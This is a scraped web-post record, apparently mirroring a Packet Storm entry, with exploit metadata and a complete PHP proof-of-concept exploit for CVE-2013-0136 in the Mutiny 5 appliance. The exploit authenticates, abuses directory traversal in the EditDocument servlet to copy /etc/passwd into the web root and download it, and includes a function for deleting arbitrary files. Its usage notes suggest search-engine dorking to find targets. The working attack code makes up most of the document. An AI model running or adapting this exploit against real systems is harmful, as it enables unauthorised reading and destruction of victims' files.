{“lastseen”:”2026-02-04T16:58:47″,”description”:”Mutiny version 5.0-1.07 directory traversal proof of concept exploit that demonstrates an issue originally discovered in 2013…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Mutiny 5.0-1.07 Directory Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:214910″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2013-0136″],”sourceData”:”=============================================================================================================================================\\n | # Title : Mutiny 5.0-1.07 directory traversal Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 135.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.mutiny.com\/downloads\/ |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: The code is an exploit written in PHP that targets a vulnerability in the Mutiny 5 Appliance, \\n \\n allowing an authenticated attacker (i.e. with a username and password) to read or delete any file on the system due to a Directory Traversal vulnerability in the EditDocument servlet.\\n \\n (Related : https:\/\/packetstorm.news\/files\/id\/180894\/ Linked CVE numbers:\\tCVE-2013-0136 ) .\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Set taget : Line 110.\\n \\n [+] USage : php poc.php \\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n class MutinyExploit {\\n private $target;\\n private $username;\\n private $password;\\n private $session;\\n \\n public function __construct($target, $username, $password) {\\n $this-\\u003etarget = rtrim($target, ‘\/’);\\n $this-\\u003eusername = $username;\\n $this-\\u003epassword = $password;\\n }\\n \\n private function sendRequest($url, $postFields = null, $cookie = null) {\\n $ch = curl_init($url);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\\n \\n if ($postFields) {\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);\\n }\\n \\n if ($cookie) {\\n curl_setopt($ch, CURLOPT_HTTPHEADER, [\\”Cookie: $cookie\\”]);\\n }\\n \\n $response = curl_exec($ch);\\n curl_close($ch);\\n return $response;\\n }\\n \\n public function login() {\\n \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 JSESSIONID \u0627\u0644\u0623\u0648\u0644\u064a\\n $response = $this-\\u003esendRequest(\\”{$this-\\u003etarget}\/interface\/index.do\\”);\\n if (preg_match(‘\/JSESSIONID=(.*?);\/’, $response, $matches)) {\\n $firstSession = $matches[1];\\n } else {\\n die(\\”\u0641\u0634\u0644 \u0641\u064a \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 JSESSIONID \u0627\u0644\u0623\u0648\u0644\u064a\\\\n\\”);\\n }\\n \\n \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\\n $postFields = \\”j_username={$this-\\u003eusername}\\u0026j_password={$this-\\u003epassword}\\”;\\n $response = $this-\\u003esendRequest(\\”{$this-\\u003etarget}\/interface\/j_security_check\\”, $postFields, \\”JSESSIONID=$firstSession\\”);\\n \\n \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0645\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0646\u0627\u062c\u062d\u064b\u0627\\n if (strpos($response, \\”interface\/index.do\\”) === false) {\\n die(\\”\u0641\u0634\u0644 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\u060c \u062a\u062d\u0642\u0642 \u0645\u0646 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f\\\\n\\”);\\n }\\n \\n \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 JSESSIONID \u0627\u0644\u0646\u0647\u0627\u0626\u064a \u0628\u0639\u062f \u0627\u0644\u0645\u0635\u0627\u062f\u0642\u0629\\n $response = $this-\\u003esendRequest(\\”{$this-\\u003etarget}\/interface\/index.do\\”, null, \\”JSESSIONID=$firstSession\\”);\\n if (preg_match(‘\/JSESSIONID=(.*?);\/’, $response, $matches)) {\\n $this-\\u003esession = $matches[1];\\n echo \\”\u062a\u0645 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644 \u0628\u0646\u062c\u0627\u062d\\\\n\\”;\\n } else {\\n die(\\”\u0641\u0634\u0644 \u0641\u064a \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u062c\u0644\u0633\u0629 \u0628\u0639\u062f \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\\\\n\\”);\\n }\\n }\\n \\n public function readFile($filePath) {\\n echo \\”\u0646\u0633\u062e \u0627\u0644\u0645\u0644\u0641 \u0625\u0644\u0649 \u0645\u0648\u0642\u0639 \u0648\u064a\u0628 \u064a\u0645\u0643\u0646 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u064a\u0647…\\\\n\\”;\\n $dstPath = \\”\/usr\/jakarta\/tomcat\/webapps\/ROOT\/m\/\\”;\\n $postFields = [\\n ‘operation’ =\\u003e ‘COPY’,\\n ‘paths[]’ =\\u003e \\”..\/..\/..\/..\/{$filePath}%00.txt\\”,\\n ‘newPath’ =\\u003e \\”..\/..\/..\/..{$dstPath}\\”\\n ];\\n \\n $response = $this-\\u003esendRequest(\\”{$this-\\u003etarget}\/interface\/EditDocument\\”, $postFields, \\”JSESSIONID={$this-\\u003esession}\\”);\\n if (strpos($response, ‘{\\”success\\”:true}’) !== false) {\\n echo \\”\u062a\u0645 \u0646\u0633\u062e \u0627\u0644\u0645\u0644\u0641 \u0625\u0644\u0649 {$dstPath} \u0628\u0646\u062c\u0627\u062d\\\\n\\”;\\n } else {\\n die(\\”\u0641\u0634\u0644 \u0641\u064a \u0646\u0633\u062e \u0627\u0644\u0645\u0644\u0641\\\\n\\”);\\n }\\n \\n \/\/ \u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0645\u0644\u0641\\n echo \\”\u0627\u0633\u062a\u0631\u062c\u0627\u0639 \u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0645\u0644\u0641…\\\\n\\”;\\n $fileContents = $this-\\u003esendRequest(\\”{$this-\\u003etarget}\/m\/\\” . basename($filePath));\\n if ($fileContents) {\\n file_put_contents(\\”extracted_\\” . basename($filePath), $fileContents);\\n echo \\”\u062a\u0645 \u0627\u0633\u062a\u0631\u062c\u0627\u0639 \u0627\u0644\u0645\u0644\u0641 \u0648\u062d\u0641\u0638\u0647 \u0645\u062d\u0644\u064a\u064b\u0627\\\\n\\”;\\n } else {\\n echo \\”\u0641\u0634\u0644 \u0641\u064a \u0627\u0633\u062a\u0631\u062c\u0627\u0639 \u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0645\u0644\u0641\\\\n\\”;\\n }\\n \\n \/\/ \u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0628\u0639\u062f \u0627\u0644\u0642\u0631\u0627\u0621\u0629\\n $this-\\u003edeleteFile(\\”{$dstPath}\\” . basename($filePath));\\n }\\n \\n public function deleteFile($filePath) {\\n echo \\”\u062d\u0630\u0641 \u0627\u0644\u0645\u0644\u0641 {$filePath}\\\\n\\”;\\n $postFields = [\\n ‘operation’ =\\u003e ‘DELETE’,\\n ‘paths[]’ =\\u003e \\”..\/..\/..\/..\/{$filePath}\\”\\n ];\\n \\n $response = $this-\\u003esendRequest(\\”{$this-\\u003etarget}\/interface\/EditDocument\\”, $postFields, \\”JSESSIONID={$this-\\u003esession}\\”);\\n if (strpos($response, ‘{\\”success\\”:true}’) !== false) {\\n echo \\”\u062a\u0645 \u062d\u0630\u0641 \u0627\u0644\u0645\u0644\u0641 \u0628\u0646\u062c\u0627\u062d\\\\n\\”;\\n } else {\\n echo \\”\u0641\u0634\u0644 \u0641\u064a \u062d\u0630\u0641 \u0627\u0644\u0645\u0644\u0641\\\\n\\”;\\n }\\n }\\n }\\n \\n \/\/ \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0643\u0648\u062f\\n $exploit = new MutinyExploit(\\”http:\/\/target.com\\”, \\”superadmin@mutiny.com\\”, \\”password\\”);\\n $exploit-\\u003elogin();\\n $exploit-\\u003ereadFile(\\”\/etc\/passwd\\”); \/\/ \u0645\u062b\u0627\u0644 \u0639\u0644\u0649 \u0642\u0631\u0627\u0621\u0629 \u0645\u0644\u0641\\n \/\/ $exploit-\\u003edeleteFile(\\”\/tmp\/test.txt\\”); \/\/ \u062d\u0630\u0641 \u0645\u0644\u0641 (\u0627\u062e\u062a\u064a\u0627\u0631\u064a)\\n \\n ?\\u003e\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214910″,”cvss”:{“score”:8.5,”severity”:”HIGH”,”vector”:”AV:N\/AC:M\/Au:S\/C:C\/I:C\/A:C”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214910\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-04T16:58:47″,”description”:”Mutiny version 5.0-1.07 directory traversal proof of concept exploit that demonstrates an issue originally discovered in 2013…”,”published”:”2026-02-04T00:00:00″,”modified”:”2026-02-04T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Mutiny 5.0-1.07 Directory Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:214910″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2013-0136″],”sourceData”:”=============================================================================================================================================\\n | # Title :…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,44,12,15,13,53,7,11,5],"class_list":["post-39067","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-85","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n